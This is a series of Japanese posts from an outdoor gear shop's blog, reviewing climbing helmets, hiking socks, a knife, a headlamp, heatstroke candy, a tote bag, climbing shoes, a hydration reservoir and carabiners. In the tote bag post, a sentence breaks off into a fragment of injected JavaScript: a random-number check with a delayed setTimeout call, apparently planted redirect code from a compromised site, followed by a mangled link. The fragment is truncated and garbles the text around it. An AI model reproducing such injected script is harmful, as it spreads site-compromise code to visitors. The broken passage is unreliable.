1つだけですが・・・。

いつもの「欲しい欲しい病」の結果、多分国内売り場初、やっと来ました、待ちに待った新作ヘルメット!。でも、1つだけですが・・・。

WILD COUNTRY社「FOCUS(フォーカス)」さん、ご来店。

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正面の顔。
写真 3-1

横顔。
写真 2-2

後姿。
写真 1-1

あご紐バックルは、マグネット式で片手で操作可能なうえ、着脱が素早く簡単。後だしだから当然?、P社の上を行ってる感アリです。

で、後頭部のフィット調節はダイヤル式なので片手で操作可能、ベンチレーションもしっかりありますね。

重量は230gでこれは最軽量クラス、スペックだけ見れば、言うことなしです!。

かぶり心地が非常に良いのは、広い範囲で後頭部から側頭部までカバーしているヘッドバンドがポイントだと思われます。
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点線で囲っている部分は側頭部にあたります。そこまでヘッドバンドが到達しているので、しっかり頭を包み込んでくれるのだと思います。

バイザーとの相性はどうなんだろ?、そのうち追加レポートあると思います。勿論、純正などございませんけど・・・。。

予定では6/21(土)には程々入荷しますので、お待ち頂いておりました皆様、ご来店お待ちしております!!

NET SHOPも、準備万端!!

こういうのも一つの楽しみかたです。

こんにちは!
デナリさんオススメの靴下「FITS」。かかとの立体成型が特徴で、靴下がずれない。とにかくフィットが良いということで、オススメなのです。
厚さの種類は以下の通り。

EXPEDITION BOOT:厚手。冬用。
RUGGED CREW:いわゆる、中厚。3シーズンブーツで縦走!なんていう時にはもってこいです。
MEDIUM HIKER CREW:中厚ながらちょい薄。「中厚のクッション性」と「ちょい薄の足裏感覚」が両立してます。
LIGHT HIKER CREW:薄手。クライミングでのアプローチ時などに最適。

それでですね
上から3つ目の「MEDIUM HIKER CREW」に新色が登場したのです!

写真 3

写真 2

赤と紫。
気持ちのいいくらい、イイ赤とイイ紫!
特にMEDIUM HIKER CREWは生地密度が濃いので、色彩が鮮やかに映えるようです。
ちょっとしたオシャレや楽しみになるでしょうか?

登山中の様々なシーンで、自分がはいてる靴下を見る機会があると思いますが、
そういう所に「楽しみ」をふりまいておくのも、登山を楽しくしていくコツですね。

スパサちゃん。

おはようございます。スパサちゃんも今期はヴァージョンアップ。

写真 4

旧モデルは左半分。ギザギザなやつと、マッスグなやつの2種類でした。
新モデルは右半分。黄色いやつと、青いやつの2種類ですが、「刃の形状は同じ」になってきました。色しか違いません。

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先端の方は「マッスグ」で、根元の方は「ギザギザ」というハイブリッド。調理などは先端で行い、根元ではロープや細引きの切断を行うなんてして、一刀で使い分けできますね。
あとは、刃を完全に出し切った状態で「ロック機能」が働くようになりました。
もちろん、カラビナホールを使ってハーネスなどにラッキングも可能!。

ナイフだけという男らしさ。いいですね〜!。

あたらしいストーム。

おはようございます。デナリさんでは定番のヘッデン、BD社「ストーム」が新しくなってきたので、ご紹介です。

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最大照度が60%も向上して(100ルーメン→160ルーメン)、非常に明るいです。
操作方法も旧モデルから引き継いでおり、シンプルで使いやすく、使い手を選ばないヘッデンです。

明るさもそうなのですが、この新ストームには「ワンタッチで最大の明るさになる機能」が搭載されています。(パワータップテクノロジー。)

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正面から見て、ヘッデンの目の左側にある「おひさまマーク」の部分を指で「タップ」すると最大照度に切り替わります。
もう一度「タップ」すると、もとの設定の明るさに戻ります。

便利の一言に尽きます。普段は控えめの照度設定で節約しておいて、要所要所で「タップ」してあげれば、効率的。

カラーリングも今回は結構シックな感じです。

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サンプルあるので、是非お店でいじくってみてください!。

もちろんネットからもOKです。

過信は禁物、油断も禁物。

おはようございます!。

あんまり自分の力を過信してはいけないと思います。自分の器を小さく見積もって、いろいろ準備していくスタイルもアリだと思う。

日々のトレーニング、足りてますか?。
結局その場その場で山登り、なんてありがちな話。

そういう人にまず進めるのが
①ストック:足への負担が3割減ります。
②サプリメント:BCAAは筋肉疲労、クエン酸は肉体疲労。翌日の仕事でヘロヘロになるくらいなら、「ドーピング」。
③サポーター:ご存知の通り。筋肉稼動を補助します。

自分のことを信じきってる人は、実際見向きもしません。それはそれで良いことなのですが。

しかし、これからの季節は体力だけあっても、なかなかどーにもならない「熱中症」が待ってます。
水分、塩分、ミネラル、ビタミン・・・そういうのを補給していかないで油断してると、すぐイっちゃいます。

塩熱飴、オススメです!
電解質の補給/水分補給補助/BCAA摂取などなど、ようは「熱中症対策」になります。

写真 1

写真 3

そんな大げさなものじゃないし、ポッケに1粒2粒いれときゃいい。
おまけに味も結構美味しい!。

時既に遅し状態にならないように、常備しておくといいですよ〜!。

MLIっぽい袋

巷で最近流行の「ミルスペック」的なコレ、男の子はこーゆーのに弱い。後ろ髪引かれて、つい入れてしまった・・・。

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まぁ、言えば3wayなトートバックですから、何にお使いになろーが自由です。こだわり派の人はandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ands/index.htm” target=”_blank”>カタログでも読んでくれ

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今時珍しい“Made in USA”なところも素晴らしので、お好きな方は是非、限定好きも見逃すな!。

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ちなみに、しゃけ生息個体数も少なくなってきました(でなりさん、本日時点で7匹飼育中)。ご注意下さい。

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4世代、並べてみました。

こんにちは。Five Ten社の新しいクライミングシューズ。「Anasazi Lace up THE PINK」が入荷してきました。
商品名も、ソールも、カラーも、代によって変わり続けてきた伝説のモデルです。

新製品導入にもかかわらず、恐ろしい事に、デナリさんには4世代が同居。まだ居座っているヤツもいるので、全員集合、並べてみました。

まず正面から。
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つづいてヒールから。
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C4ソール時代とヒール形状変更入れれば、コイツも3代目か?。とりあえず、一番右が最古参。一番左が入荷してきた最新モデルです。

ヒールの部分、かなり変わってきてますね。旧タイプを見ると、ちょっと狂気を感じるほどのデザイン。ぱこぱこ踵が浮いてしまいそうです。
それに比べて最新モデルの「THE PINK」はかなりスッキリ。洗練されてきてます。

カラーリングは、初代に戻ったことで「復刻」的なイメージ。

ちなみにソールは、(C4)→ONYX、ONYX、XX、C4。改良と改悪は紙一重、結局、オリジナルに戻しました。

写真

最新モデルの「THE PINK」のはき心地、なのですが
特に1世代前の「VERDE」と比べると、センター軸が少し親指寄り(内側)になっているような気がします。
「VERDE」はもっと中指寄りに体重が乗っかっていくような感触?
ソールから見ても、ターンインしている訳ではないのですが、トゥトップが少し内側に来ているせいか
そんな印象。
どっちを取るかは、好み次第かな?。いずれにしても悪くない、癖のない足入れ。

ヒールのホールド感も、強すぎず弱すぎず
いい感じです。

レースアップのクライミングシューズを検討している方は、是非はいてみてください。
オススメです♪。ネットショップもどうぞ!。

「エルティーーー!!」

やることたっくさん、久しぶりにブログにたっち!!

登場は↓
オスプレー「LT レザヴォア 2.5L」@3,240
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今回のニューなハイドレーションは給水が楽ちん♪
今までのハイドレーションは給水の度に小さい穴(ザックによってはかなり小さいぞ)
にホースの抜き差しが面倒でした。

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LTちゃんは赤色のパーツを押してあげると、サッサと抜き差し。
給水の度にホースを抜く→またホースを入れるの手間がゼロ。
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クイックコネクター的なハイドレーションも各ブランドに存在はしていますが、
ザックに荷物が入った状態だと、下のコネクター部を外すのはかなり大変。
引っ張りあげてから抜けばいいですが、各部位のストレスなど考えれば、挿入したままで外れるのがスムーズではないでしょうか。
LTちゃんはそんな簡単に手が届くところにコネクターさんが付いてます!!
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あとLTちゃんの+αは、
タンクがV型バッフル構造で水はねを防ぐと共に、スリムな本体形状を保ってくれまっす!!
いかがでしょう。

大きいのと小さいの、好きなのはどっち。

こんにちは!。好きに選べるのであれば、僕はできることなら小さいのがいいです。
マニアック、というよりはレアなアイテムがデナリさんにやってきました。デナリさんの通常在庫ではないのですが、ご紹介です。

写真 3

左からBD社のOZ、ER社のNineteen、MTLS社のFS jet mini。

どれも「マメっこいカラビナ」の類いでございます。
中央のER社のNineteenがレアアイテム。まだ国内では出回っていない代物です。
スペック上は、この3つの中で「最も小さくて軽量」でございます。〈縦78mmの19.5g〉

特に比較すべきはMTLS社のFS jet mini。まず縦長は同じなのですが、重量は5g/1個 ER社より重い!。しかしながら、値段は468yen/1個 ER社より安い!。ココ、重要。でも、カラビナのカラーリング自体が違うので、カムナッツのラッキングで識別しやすい方を選んでもいいですし、お豆の悩みどころは使い手次第?。

ペツルの新作ヘルメット。

おはようございます。ペツルから新作ヘルメットが届きました。

140519blogimagePETLZnewhelmet

左から
メテオ、メテオ、エリア
になります。

メテオはメテオⅢからヴァージョンアップ。
ベンチレーター(穴)の面積が拡大し、さらに涼しげな感じになりました。もちろん、それに応じて10gの軽量化も果たしております。あとは、あご紐のバックルがマグネット式になってきました。後頭部でのサイズ調整も、メテオⅢよりも操作性UPです。カラーリングも、前モデルよりビビッドなデザインですね。

エリアは、女性用に作られたヘルメットです。後頭部が大きく山の字にカットされているので、髪の長い人のポニーテールでもストレスなく被れます。それと、あご紐とヘッドバンド、側面にある前後調整バックルが連動しているので細かい調整が不要、着脱が楽というのも特徴です。(オメガヘッドバンドシステム)

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ネットショップでも取り扱いありますので、どうぞ!。
METEORはコチラ。
ELIAはコチラ。